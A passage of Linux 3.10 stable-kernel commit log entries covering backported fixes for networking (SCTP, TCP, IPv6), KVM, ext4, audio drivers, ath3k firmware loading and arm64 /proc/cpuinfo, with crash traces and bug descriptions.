https://bugs.launchpad.net/bugs/1400215 ath3k devices fail to load firmwares on xHCI buses, but work well on EHCI, this might be a compatibility issue between xHCI and ath3k chips. As my testing result, those chips will work on xHCI buses again with this patch. This workaround is from Qualcomm, they also did some workarounds in Windows driver. Signed-off-by: Adam Lee Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 069a06a45b02e6561a7fc2897f75a832fa006ae6 Author: Greg Kroah-Hartman Date: Thu Feb 26 17:49:14 2015 -0800 Linux 3.10.70 Signed-off-by: Pranav Vashi commit ba93de355d16f702778fc007c166a2ca5569182a Author: Alex Elder Date: Tue Mar 25 15:36:02 2014 +0200 rbd: drop an unsafe assertion commit 638c323c4d1f8eaf25224946e21ce8818f1bcee1 upstream. Olivier Bonvalet reported having repeated crashes due to a failed assertion he was hitting in rbd_img_obj_callback(): Assertion failure in rbd_img_obj_callback() at line 2165: rbd_assert(which >= img_request->next_completion); With a lot of help from Olivier with reproducing the problem we were able to determine the object and image requests had already been completed (and often freed) at the point the assertion failed. There was a great deal of discussion on the ceph-devel mailing list about this. The problem only arose when there were two (or more) object requests in an image request, and the problem was always seen when the second request was being completed. The problem is due to a race in the window between setting the "done" flag on an object request and checking the image request's next completion value. When the first object request completes, it checks to see if its successor request is marked "done", and if so, that request is also completed. In the process, the image request's next_completion value is updated to reflect that both the first and second requests are completed. By the time the second request is able to check the next_completion value, it has been set to a value *greater* than its own "which" value, which caused an assertion to fail. Fix this problem by skipping over any completion processing unless the completing object request is the next one expected. Test only for inequality (not >=), and eliminate the bad assertion. Tested-by: Olivier Bonvalet Signed-off-by: Alex Elder Reviewed-by: Sage Weil Reviewed-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42716c58a5c51243dd6dc989a4bbc1ddb3fb289e Author: Austin Lund Date: Thu Jul 24 07:40:20 2014 -0300 media/rc: Send sync space information on the lirc device commit a8f29e89f2b54fbf2c52be341f149bc195b63a8b upstream. Userspace expects to see a long space before the first pulse is sent on the lirc device. Currently, if a long time has passed and a new packet is started, the lirc codec just returns and doesn't send anything. This makes lircd ignore many perfectly valid signals unless they are sent in quick sucession. When a reset event is delivered, we cannot know anything about the duration of the space. But it should be safe to assume it has been a long time and we just set the duration to maximum. Signed-off-by: Austin Lund Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e8840c5f586ff28d786a2145f4c69b8fe838fad Author: Saran Maruti Ramanara Date: Thu Jan 29 11:05:58 2015 +0100 net: sctp: fix passing wrong parameter header to param_type2af in sctp_process_param [ Upstream commit cfbf654efc6d78dc9812e030673b86f235bf677d ] When making use of RFC5061, section 4.2.4. for setting the primary IP address, we're passing a wrong parameter header to param_type2af(), resulting always in NULL being returned. At this point, param.p points to a sctp_addip_param struct, containing a sctp_paramhdr (type = 0xc004, length = var), and crr_id as a correlation id. Followed by that, as also presented in RFC5061 section 4.2.4., comes the actual sctp_addr_param, which also contains a sctp_paramhdr, but this time with the correct type SCTP_PARAM_IPV{4,6}_ADDRESS that param_type2af() can make use of. Since we already hold a pointer to addr_param from previous line, just reuse it for param_type2af(). Fixes: d6de3097592b ("[SCTP]: Add the handling of "Set Primary IP Address" parameter to INIT") Signed-off-by: Saran Maruti Ramanara Signed-off-by: Daniel Borkmann Acked-by: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcbb683c0c0a71b39412769722db708514f7cd97 Author: Florian Westphal Date: Wed Jan 28 10:56:04 2015 +0100 ppp: deflate: never return len larger than output buffer [ Upstream commit e2a4800e75780ccf4e6c2487f82b688ba736eb18 ] When we've run out of space in the output buffer to store more data, we will call zlib_deflate with a NULL output buffer until we've consumed remaining input. When this happens, olen contains the size the output buffer would have consumed iff we'd have had enough room. This can later cause skb_over_panic when ppp_generic skb_put()s the returned length. Reported-by: Iain Douglas Signed-off-by: Florian Westphal Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 64877079d0424a0fd78dd48be4c2217027c088ed Author: Eric Dumazet Date: Thu Jan 29 21:35:05 2015 -0800 ipv4: tcp: get rid of ugly unicast_sock [ Upstream commit bdbbb8527b6f6a358dbcb70dac247034d665b8e4 ] In commit be9f4a44e7d41 ("ipv4: tcp: remove per net tcp_sock") I tried to address contention on a socket lock, but the solution I chose was horrible : commit 3a7c384ffd57e ("ipv4: tcp: unicast_sock should not land outside of TCP stack") addressed a selinux regression. commit 0980e56e506b ("ipv4: tcp: set unicast_sock uc_ttl to -1") took care of another regression. commit b5ec8eeac46 ("ipv4: fix ip_send_skb()") fixed another regression. commit 811230cd85 ("tcp: ipv4: initialize unicast_sock sk_pacing_rate") was another shot in the dark. Really, just use a proper socket per cpu, and remove the skb_orphan() call, to re-enable flow control. This solves a serious problem with FQ packet scheduler when used in hostile environments, as we do not want to allocate a flow structure for every RST packet sent in response to a spoofed packet. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ccb73815963ee7c949734298ab11f89597512c91 Author: Eric Dumazet Date: Wed Jan 28 05:47:11 2015 -0800 tcp: ipv4: initialize unicast_sock sk_pacing_rate [ Upstream commit 811230cd853d62f09ed0addd0ce9a1b9b0e13fb5 ] When I added sk_pacing_rate field, I forgot to initialize its value in the per cpu unicast_sock used in ip_send_unicast_reply() This means that for sch_fq users, RST packets, or ACK packets sent on behalf of TIME_WAIT sockets might be sent to slowly or even dropped once we reach the per flow limit. Signed-off-by: Eric Dumazet Fixes: 95bd09eb2750 ("tcp: TSO packets automatic sizing") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83f026115af210bb1aea195d7023d738bf24d47d Author: Roopa Prabhu Date: Wed Jan 28 16:23:11 2015 -0800 bridge: dont send notification when skb->len == 0 in rtnl_bridge_notify [ Upstream commit 59ccaaaa49b5b096cdc1f16706a9f931416b2332 ] Reported in: https://bugzilla.kernel.org/show_bug.cgi?id=92081 This patch avoids calling rtnl_notify if the device ndo_bridge_getlink handler does not return any bytes in the skb. Alternately, the skb->len check can be moved inside rtnl_notify. For the bridge vlan case described in 92081, there is also a fix needed in bridge driver to generate a proper notification. Will fix that in subsequent patch. v2: rebase patch on net tree Signed-off-by: Roopa Prabhu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d03830213a3a759f1c979faae34f26748653c379 Author: Hannes Frederic Sowa Date: Mon Jan 26 15:11:17 2015 +0100 ipv6: replacing a rt6_info needs to purge possible propagated rt6_infos too [ Upstream commit 6e9e16e6143b725662e47026a1d0f270721cdd24 ] Lubomir Rintel reported that during replacing a route the interface reference counter isn't correctly decremented. To quote bug : | [root@rhel7-5 lkundrak]# sh -x lal | + ip link add dev0 type dummy | + ip link set dev0 up | + ip link add dev1 type dummy | + ip link set dev1 up | + ip addr add 2001:db8:8086::2/64 dev dev0 | + ip route add 2001:db8:8086::/48 dev dev0 proto static metric 20 | + ip route add 2001:db8:8088::/48 dev dev1 proto static metric 10 | + ip route replace 2001:db8:8086::/48 dev dev1 proto static metric 20 | + ip link del dev0 type dummy | Message from syslogd@rhel7-5 at Jan 23 10:54:41 ... | kernel:unregister_netdevice: waiting for dev0 to become free. Usage count = 2 | | Message from syslogd@rhel7-5 at Jan 23 10:54:51 ... | kernel:unregister_netdevice: waiting for dev0 to become free. Usage count = 2 During replacement of a rt6_info we must walk all parent nodes and check if the to be replaced rt6_info got propagated. If so, replace it with an alive one. Fixes: 4a287eba2de3957 ("IPv6 routing, NLM_F_* flag support: REPLACE and EXCL flags support, warn about missing CREATE flag") Reported-by: Lubomir Rintel Signed-off-by: Hannes Frederic Sowa Tested-by: Lubomir Rintel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a680286a39063f49ce2a0e63a43aace4d0ce1f5 Author: subashab@codeaurora.org Date: Fri Jan 23 22:26:02 2015 +0000 ping: Fix race in free in receive path [ Upstream commit fc752f1f43c1c038a2c6ae58cc739ebb5953ccb0 ] An exception is seen in ICMP ping receive path where the skb destructor sock_rfree() tries to access a freed socket. This happens because ping_rcv() releases socket reference with sock_put() and this internally frees up the socket. Later icmp_rcv() will try to free the skb and as part of this, skb destructor is called and which leads to a kernel panic as the socket is freed already in ping_rcv(). -->|exception -007|sk_mem_uncharge -007|sock_rfree -008|skb_release_head_state -009|skb_release_all -009|__kfree_skb -010|kfree_skb -011|icmp_rcv -012|ip_local_deliver_finish Fix this incorrect free by cloning this skb and processing this cloned skb instead. This patch was suggested by Eric Dumazet Signed-off-by: Subash Abhinov Kasiviswanathan Cc: Eric Dumazet Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 85262f7bc0cfcd07e56ea90371a7fad841616b54 Author: Herbert Xu Date: Sat Jan 24 08:02:40 2015 +1100 udp_diag: Fix socket skipping within chain [ Upstream commit 86f3cddbc3037882414c7308973530167906b7e9 ] While working on rhashtable walking I noticed that the UDP diag dumping code is buggy. In particular, the socket skipping within a chain never happens, even though we record the number of sockets that should be skipped. As this code was supposedly copied from TCP, this patch does what TCP does and resets num before we walk a chain. Signed-off-by: Herbert Xu Acked-by: Pavel Emelyanov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9be2b5ca2eed44aee073c76ddf48895001d8391 Author: Hannes Frederic Sowa Date: Fri Jan 23 12:01:26 2015 +0100 ipv4: try to cache dst_entries which would cause a redirect [ Upstream commit df4d92549f23e1c037e83323aff58a21b3de7fe0 ] Not caching dst_entries which cause redirects could be exploited by hosts on the same subnet, causing a severe DoS attack. This effect aggravated since commit f88649721268999 ("ipv4: fix dst race in sk_dst_get()"). Lookups causing redirects will be allocated with DST_NOCACHE set which will force dst_release to free them via RCU. Unfortunately waiting for RCU grace period just takes too long, we can end up with >1M dst_entries waiting to be released and the system will run OOM. rcuos threads cannot catch up under high softirq load. Attaching the flag to emit a redirect later on to the specific skb allows us to cache those dst_entries thus reducing the pressure on allocation and deallocation. This issue was discovered by Marcelo Leitner. Cc: Julian Anastasov Signed-off-by: Marcelo Leitner Signed-off-by: Florian Westphal Signed-off-by: Hannes Frederic Sowa Signed-off-by: Julian Anastasov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b7e40b7b89f3370b8c93bfa9d17d0c2a4bf49710 Author: Daniel Borkmann Date: Thu Jan 22 18:26:54 2015 +0100 net: sctp: fix slab corruption from use after free on INIT collisions [ Upstream commit 600ddd6825543962fb807884169e57b580dba208 ] When hitting an INIT collision case during the 4WHS with AUTH enabled, as already described in detail in commit 1be9a950c646 ("net: sctp: inherit auth_capable on INIT collisions"), it can happen that we occasionally still remotely trigger the following panic on server side which seems to have been uncovered after the fix from commit 1be9a950c646 ... [ 533.876389] BUG: unable to handle kernel paging request at 00000000ffffffff [ 533.913657] IP: [] __kmalloc+0x95/0x230 [ 533.940559] PGD 5030f2067 PUD 0 [ 533.957104] Oops: 0000 [#1] SMP [ 533.974283] Modules linked in: sctp mlx4_en [...] [ 534.939704] Call Trace: [ 534.951833] [] ? crypto_init_shash_ops+0x60/0xf0 [ 534.984213] [] crypto_init_shash_ops+0x60/0xf0 [ 535.015025] [] __crypto_alloc_tfm+0x6d/0x170 [ 535.045661] [] crypto_alloc_base+0x4c/0xb0 [ 535.074593] [] ? _raw_spin_lock_bh+0x12/0x50 [ 535.105239] [] sctp_inet_listen+0x161/0x1e0 [sctp] [ 535.138606] [] SyS_listen+0x9d/0xb0 [ 535.166848] [] system_call_fastpath+0x16/0x1b ... or depending on the the application, for example this one: [ 1370.026490] BUG: unable to handle kernel paging request at 00000000ffffffff [ 1370.026506] IP: [] kmem_cache_alloc+0x75/0x1d0 [ 1370.054568] PGD 633c94067 PUD 0 [ 1370.070446] Oops: 0000 [#1] SMP [ 1370.085010] Modules linked in: sctp kvm_amd kvm [...] [ 1370.963431] Call Trace: [ 1370.974632] [] ? SyS_epoll_ctl+0x53f/0x960 [ 1371.000863] [] SyS_epoll_ctl+0x53f/0x960 [ 1371.027154] [] ? anon_inode_getfile+0xd3/0x170 [ 1371.054679] [] ? __alloc_fd+0xa7/0x130 [ 1371.080183] [] system_call_fastpath+0x16/0x1b With slab debugging enabled, we can see that the poison has been overwritten: [ 669.826368] BUG kmalloc-128 (Tainted: G W ): Poison overwritten [ 669.826385] INFO: 0xffff880228b32e50-0xffff880228b32e50. First byte 0x6a instead of 0x6b [ 669.826414] INFO: Allocated in sctp_auth_create_key+0x23/0x50 [sctp] age=3 cpu=0 pid=18494 [ 669.826424] __slab_alloc+0x4bf/0x566 [ 669.826433] __kmalloc+0x280/0x310 [ 669.826453] sctp_auth_create_key+0x23/0x50 [sctp] [ 669.826471] sctp_auth_asoc_create_secret+0xcb/0x1e0 [sctp] [ 669.826488] sctp_auth_asoc_init_active_key+0x68/0xa0 [sctp] [ 669.826505] sctp_do_sm+0x29d/0x17c0 [sctp] [...] [ 669.826629] INFO: Freed in kzfree+0x31/0x40 age=1 cpu=0 pid=18494 [ 669.826635] __slab_free+0x39/0x2a8 [ 669.826643] kfree+0x1d6/0x230 [ 669.826650] kzfree+0x31/0x40 [ 669.826666] sctp_auth_key_put+0x19/0x20 [sctp] [ 669.826681] sctp_assoc_update+0x1ee/0x2d0 [sctp] [ 669.826695] sctp_do_sm+0x674/0x17c0 [sctp] Since this only triggers in some collision-cases with AUTH, the problem at heart is that sctp_auth_key_put() on asoc->asoc_shared_key is called twice when having refcnt 1, once directly in sctp_assoc_update() and yet again from within sctp_auth_asoc_init_active_key() via sctp_assoc_update() on the already kzfree'd memory, which is also consistent with the observation of the poison decrease from 0x6b to 0x6a (note: the overwrite is detected at a later point in time when poison is checked on new allocation). Reference counting of auth keys revisited: Shared keys for AUTH chunks are being stored in endpoints and associations in endpoint_shared_keys list. On endpoint creation, a null key is being added; on association creation, all endpoint shared keys are being cached and thus cloned over to the association. struct sctp_shared_key only holds a pointer to the actual key bytes, that is, struct sctp_auth_bytes which keeps track of users internally through refcounting. Naturally, on assoc or enpoint destruction, sctp_shared_key are being destroyed directly and the reference on sctp_auth_bytes dropped. User space can add keys to either list via setsockopt(2) through struct sctp_authkey and by passing that to sctp_auth_set_key() which replaces or adds a new auth key. There, sctp_auth_create_key() creates a new sctp_auth_bytes with refcount 1 and in case of replacement drops the reference on the old sctp_auth_bytes. A key can be set active from user space through setsockopt() on the id via sctp_auth_set_active_key(), which iterates through either endpoint_shared_keys and in case of an assoc, invokes (one of various places) sctp_auth_asoc_init_active_key(). sctp_auth_asoc_init_active_key() computes the actual secret from local's and peer's random, hmac and shared key parameters and returns a new key directly as sctp_auth_bytes, that is asoc->asoc_shared_key, plus drops the reference if there was a previous one. The secret, which where we eventually double drop the ref comes from sctp_auth_asoc_set_secret() with intitial refcount of 1, which also stays unchanged eventually in sctp_assoc_update(). This key is later being used for crypto layer to set the key for the hash in crypto_hash_setkey() from sctp_auth_calculate_hmac(). To close the loop: asoc->asoc_shared_key is freshly allocated secret material and independant of the sctp_shared_key management keeping track of only shared keys in endpoints and assocs. Hence, also commit 4184b2a79a76 ("net: sctp: fix memory leak in auth key management") is independant of this bug here since it concerns a different layer (though same structures being used eventually). asoc->asoc_shared_key is reference dropped correctly on assoc destruction in sctp_association_free() and when active keys are being replaced in sctp_auth_asoc_init_active_key(), it always has a refcount of 1. Hence, it's freed prematurely in sctp_assoc_update(). Simple fix is to remove that sctp_auth_key_put() from there which fixes these panics. Fixes: 730fc3d05cd4 ("[SCTP]: Implete SCTP-AUTH parameter processing") Signed-off-by: Daniel Borkmann Acked-by: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4c9674bc102b3bb1500c4d540b053c5ddf1837dd Author: Eric Dumazet Date: Thu Jan 22 07:56:18 2015 -0800 netxen: fix netxen_nic_poll() logic [ Upstream commit 6088beef3f7517717bd21d90b379714dd0837079 ] NAPI poll logic now enforces that a poller returns exactly the budget when it wants to be called again. If a driver limits TX completion, it has to return budget as well when the limit is hit, not the number of received packets. Reported-and-tested-by: Mike Galbraith Signed-off-by: Eric Dumazet Fixes: d75b1ade567f ("net: less interrupt masking in NAPI") Cc: Manish Chopra Acked-by: Manish Chopra Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf2bb009e43ef21d622f99151316142c1a97b596 Author: Hagen Paul Pfeifer Date: Thu Jan 15 22:34:25 2015 +0100 ipv6: stop sending PTB packets for MTU < 1280 [ Upstream commit 9d289715eb5c252ae15bd547cb252ca547a3c4f2 ] Reduce the attack vector and stop generating IPv6 Fragment Header for paths with an MTU smaller than the minimum required IPv6 MTU size (1280 byte) - called atomic fragments. See IETF I-D "Deprecating the Generation of IPv6 Atomic Fragments" [1] for more information and how this "feature" can be misused. [1] https://tools.ietf.org/html/draft-ietf-6man-deprecate-atomfrag-generation-00 Signed-off-by: Fernando Gont Signed-off-by: Hagen Paul Pfeifer Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c94dc1a120d7feba506eef7f034d0cc6a1a1e797 Author: Willem de Bruijn Date: Thu Jan 15 13:18:40 2015 -0500 ip: zero sockaddr returned on error queue [ Upstream commit f812116b174e59a350acc8e4856213a166a91222 ] The sockaddr is returned in IP(V6)_RECVERR as part of errhdr. That structure is defined and allocated on the stack as struct { struct sock_extended_err ee; struct sockaddr_in(6) offender; } errhdr; The second part is only initialized for certain SO_EE_ORIGIN values. Always initialize it completely. An MTU exceeded error on a SOCK_RAW/IPPROTO_RAW is one example that would return uninitialized bytes. Signed-off-by: Willem de Bruijn ---- Also verified that there is no padding between errhdr.ee and errhdr.offender that could leak additional kernel data. Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca2181d13f40af0b81fb99fac9108a77615ddff8 Author: Pranav Vashi Date: Fri Nov 18 20:55:50 2016 +0530 arm64: Add back processor info to /proc/cpuinfo Signed-off-by: Pranav Vashi commit 29a3b33e40b7a02ebce36ebb5c60b4aa7c0471d5 Author: Greg Kroah-Hartman Date: Wed Feb 11 14:48:30 2015 +0800 Linux 3.10.69 Signed-off-by: Pranav Vashi commit 8005402f59d0cd65c36385a5876ef40f24176c39 Author: Mathias Krause Date: Tue Feb 10 01:14:07 2015 +0100 crypto: crc32c - add missing crypto module alias The backport of commit 5d26a105b5a7 ("crypto: prefix module autoloading with "crypto-"") lost the MODULE_ALIAS_CRYPTO() annotation of crc32c.c. Add it to fix the reported filesystem related regressions. Signed-off-by: Mathias Krause Reported-by: Philip Müller Cc: Kees Cook Cc: Rob McCathie Cc: Luis Henriques Cc: Kamal Mostafa Cc: Jiri Slaby Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32ee30e991a690fbedc2fc3b6e47f9e84d78948a Author: Andy Lutomirski Date: Wed Oct 8 09:02:13 2014 -0700 x86,kvm,vmx: Preserve CR4 across VM entry commit d974baa398f34393db76be45f7d4d04fbdbb4a0a upstream. CR4 isn't constant; at least the TSD and PCE bits can vary. TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks like it's correct. This adds a branch and a read from cr4 to each vm entry. Because it is extremely likely that consecutive entries into the same vcpu will have the same host cr4 value, this fixes up the vmcs instead of restoring cr4 after the fact. A subsequent patch will add a kernel-wide cr4 shadow, reducing the overhead in the common case to just two memory reads and a branch. Signed-off-by: Andy Lutomirski Acked-by: Paolo Bonzini Cc: Petr Matousek Cc: Gleb Natapov Signed-off-by: Linus Torvalds [wangkai: Backport to 3.10: adjust context] Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fee1fba1570d51655c8675ad2291ba5813366500 Author: Petr Matousek Date: Tue Sep 23 20:22:30 2014 +0200 kvm: vmx: handle invvpid vm exit gracefully commit a642fc305053cc1c6e47e4f4df327895747ab485 upstream. On systems with invvpid instruction support (corresponding bit in IA32_VMX_EPT_VPID_CAP MSR is set) guest invocation of invvpid causes vm exit, which is currently not handled and results in propagation of unknown exit to userspace. Fix this by installing an invvpid vm exit handler. This is CVE-2014-3646. Cc: stable@vger.kernel.org Signed-off-by: Petr Matousek Signed-off-by: Paolo Bonzini [wangkai: Backport to 3.10: adjust context] Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9abab8946611e9b11df8fced7a9090afb6cac242 Author: Lai Jiangshan Date: Thu Jul 31 11:30:17 2014 +0800 smpboot: Add missing get_online_cpus() in smpboot_register_percpu_thread() commit 4bee96860a65c3a62d332edac331b3cf936ba3ad upstream. The following race exists in the smpboot percpu threads management: CPU0 CPU1 cpu_up(2) get_online_cpus(); smpboot_create_threads(2); smpboot_register_percpu_thread(); for_each_online_cpu(); __smpboot_create_thread(); __cpu_up(2); This results in a missing per cpu thread for the newly onlined cpu2 and in a NULL pointer dereference on a consecutive offline of that cpu. Proctect smpboot_register_percpu_thread() with get_online_cpus() to prevent that. [ tglx: Massaged changelog and removed the change in smpboot_unregister_percpu_thread() because that's an optimization and therefor not stable material. ] Signed-off-by: Lai Jiangshan Cc: Thomas Gleixner Cc: Rusty Russell Cc: Peter Zijlstra Cc: Srivatsa S. Bhat Cc: David Rientjes Link: http://lkml.kernel.org/r/1406777421-12830-1-git-send-email-laijs@cn.fujitsu.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ffa16e11e745b666371dfc7e083c5c7099343ded Author: Takashi Iwai Date: Tue Jan 13 10:53:20 2015 +0100 ALSA: ak411x: Fix stall in work callback commit 4161b4505f1690358ac0a9ee59845a7887336b21 upstream. When ak4114 work calls its callback and the callback invokes ak4114_reinit(), it stalls due to flush_delayed_work(). For avoiding this, control the reentrance by introducing a refcount. Also flush_delayed_work() is replaced with cancel_delayed_work_sync(). The exactly same bug is present in ak4113.c and fixed as well. Reported-by: Pavel Hofman Acked-by: Jaroslav Kysela Tested-by: Pavel Hofman Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f33b4101269b75518b3669afd29d589903ac57b Author: Eric Nelson Date: Fri Jan 30 14:07:55 2015 -0700 ASoC: sgtl5000: add delay before first I2C access commit 58cc9c9a175885bbf6bae3acf18233d0a8229a84 upstream. To quote from section 1.3.1 of the data sheet: The SGTL5000 has an internal reset that is deasserted 8 SYS_MCLK cycles after all power rails have been brought up. After this time, communication can start ... 1.0us represents 8 SYS_MCLK cycles at the minimum 8.0 MHz SYS_MCLK. Signed-off-by: Eric Nelson Reviewed-by: Fabio Estevam Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb3289176527e7ee5668d39e0963a157a0753a78 Author: Bo Shen Date: Tue Jan 20 15:43:16 2015 +0800 ASoC: atmel_ssc_dai: fix start event for I2S mode commit a43bd7e125143b875caae6d4f9938855b440faaf upstream. According to the I2S specification information as following: - WS = 0, channel 1 (left) - WS = 1, channel 2 (right) So, the start event should be TF/RF falling edge. Reported-by: Songjun Wu Signed-off-by: Bo Shen Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ebca348b2169e5f8c1d8cddca9d34e05e080d088 Author: karl beldan Date: Thu Jan 29 11:10:22 2015 +0100 lib/checksum.c: fix build for generic csum_tcpudp_nofold commit 9ce357795ef208faa0d59894d9d119a7434e37f3 upstream. Fixed commit added from64to32 under _#ifndef do_csum_ but used it under _#ifndef csum_tcpudp_nofold_, breaking some builds (Fengguang's robot reported TILEGX's). Move from64to32 under the latter. Fixes: 150ae0e94634 ("lib/checksum.c: fix carry in csum_tcpudp_nofold") Reported-by: kbuild test robot Signed-off-by: Karl Beldan Cc: Eric Dumazet Cc: David S. Miller Signed-off-by: David S. Miller Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 350ad8bc33026c57e61644d3e36e513fe6fc2440 Author: Dmitry Monakhov Date: Thu Oct 30 10:53:16 2014 -0400 ext4: prevent bugon on race between write/fcntl commit a41537e69b4aa43f0fea02498c2595a81267383b upstream. O_DIRECT flags can be toggeled via fcntl(F_SETFL). But this value checked twice inside ext4_file_write_iter() and __generic_file_write() which result in BUG_ON inside ext4_direct_IO. Let's initialize iocb->private unconditionally. TESTCASE: xfstest:generic/036 https://patchwork.ozlabs.org/patch/402445/ #TYPICAL STACK TRACE: kernel BUG at fs/ext4/inode.c:2960! invalid opcode: 0000 [#1] SMP Modules linked in: brd iTCO_wdt lpc_ich mfd_core igb ptp dm_mirror dm_region_hash dm_log dm_mod CPU: 6 PID: 5505 Comm: aio-dio-fcntl-r Not tainted 3.17.0-rc2-00176-gff5c017 #161 Hardware name: Intel Corporation W2600CR/W2600CR, BIOS SE5C600.86B.99.99.x028.061320111235 06/13/2011 task: ffff88080e95a7c0 ti: ffff88080f908000 task.ti: ffff88080f908000 RIP: 0010:[] [] ext4_direct_IO+0x162/0x3d0 RSP: 0018:ffff88080f90bb58 EFLAGS: 00010246 RAX: 0000000000000400 RBX: ffff88080fdb2a28 RCX: 00000000a802c818 RDX: 0000040000080000 RSI: ffff88080d8aeb80 RDI: 0000000000000001 RBP: ffff88080f90bbc8 R08: 0000000000000000 R09: 0000000000001581 R10: 0000000000000000 R11: 0000000000000000 R12: ffff88080d8aeb80 R13: ffff88080f90bbf8 R14: ffff88080fdb28c8 R15: ffff88080fdb2a28 FS: 00007f23b2055700(0000) GS:ffff880818400000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f23b2045000 CR3: 000000080cedf000 CR4: 00000000000407e0 Stack: ffff88080f90bb98 0000000000000000 7ffffffffffffffe ffff88080fdb2c30 0000000000000200 0000000000000200 0000000000000001 0000000000000200 ffff88080f90bbc8 ffff88080fdb2c30 ffff88080f90be08 0000000000000200 Call Trace: [] generic_file_direct_write+0xed/0x180 [] __generic_file_write_iter+0x222/0x370 [] ext4_file_write_iter+0x34b/0x400 [] ? aio_run_iocb+0x239/0x410 [] ? aio_run_iocb+0x239/0x410 [] ? local_clock+0x25/0x30 [] ? __lock_acquire+0x274/0x700 [] ? ext4_unwritten_wait+0xb0/0xb0 [] aio_run_iocb+0x286/0x410 [] ? local_clock+0x25/0x30 [] ? lock_release_holdtime+0x29/0x190 [] ? lookup_ioctx+0x4b/0xf0 [] do_io_submit+0x55b/0x740 [] ? do_io_submit+0x3ca/0x740 [] SyS_io_submit+0x10/0x20 [] system_call_fastpath+0x16/0x1b Code: 01 48 8b 80 f0 01 00 00 48 8b 18 49 8b 45 10 0f 85 f1 01 00 00 48 03 45 c8 48 3b 43 48 0f 8f e3 01 00 00 49 83 7c 24 18 00 75 04 <0f> 0b eb fe f0 ff 83 ec 01 00 00 49 8b 44 24 18 8b 00 85 c0 89 RIP [] ext4_direct_IO+0x162/0x3d0 RSP Reported-by: Sasha Levin Signed-off-by: Theodore Ts'o Signed-off-by: Dmitry Monakhov [hujianyang: Backported to 3.10 - Move initialization of iocb->private to ext4_file_write() as we don't have ext4_file_write_iter(), which is introduced by commit 9b884164. - Adjust context to make 'overwrite' changes apply to ext4_file_dio_write() as ext4_file_dio_write() is not move into ext4_file_write()] Signed-off-by: hujianyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5333a1795feccb1b691e3c8481456d560ca3a3d2 Author: Mark Rutland Date: Fri Oct 24 14:56:40 2014 +0100 arm64: Fix up /proc/cpuinfo commit 44b82b7700d05a52cd983799d3ecde1a976b3bed upstream. Commit d7a49086f263164a (arm64: cpuinfo: print info for all CPUs) attempted to clean up /proc/cpuinfo, but due to concerns regarding further changes was reverted in commit 5e39977edf6500fd (Revert "arm64: cpuinfo: print info for all CPUs"). There are two major issues with the arm64 /proc/cpuinfo format currently: * The "Features" line describes (only) the 64-bit hwcaps, which is problematic for some 32-bit applications which attempt to parse it. As the same names are used for analogous ISA features (e.g. aes) despite these generally being architecturally unrelated, it is not possible to simply append the 64-bit and 32-bit hwcaps in a manner that might not be misleading to some applications. Various potential solutions have appeared in vendor kernels. Typically the format of the Features line varies depending on whether the task is 32-bit. * Information is only printed regarding a single CPU. This does not match the ARM format, and does not provide sufficient information in big.LITTLE systems where CPUs are heterogeneous. The CPU information printed is queried from the current CPU's registers, which is racy w.r.t. cross-cpu migration. This patch attempts to solve these issues. The following changes are made: * When a task with a LINUX32 personality attempts to read /proc/cpuinfo, the "Features" line contains the decoded 32-bit hwcaps, as with the arm port. Otherwise, the decoded 64-bit hwcaps are shown. This aligns with the behaviour of COMPAT_UTS_MACHINE and COMPAT_ELF_PLATFORM. In the absense of compat support, the Features line is empty. The set of hwcaps injected into a task's auxval are unaffected. * Properties are printed per-cpu, as with the ARM port. The per-cpu information is queried from pre-recorded cpu information (as used by the sanity checks). * As with the previous attempt at fixing up /proc/cpuinfo, the hardware field is removed. The only users so far are 32-bit applications tied to particular boards, so no portable applications should be affected, and this should prevent future tying to particular boards. The following differences remain: * No model_name is printed, as this cannot be queried from the hardware and cannot be provided in a stable fashion. Use of the CPU {implementor,variant,part,revision} fields 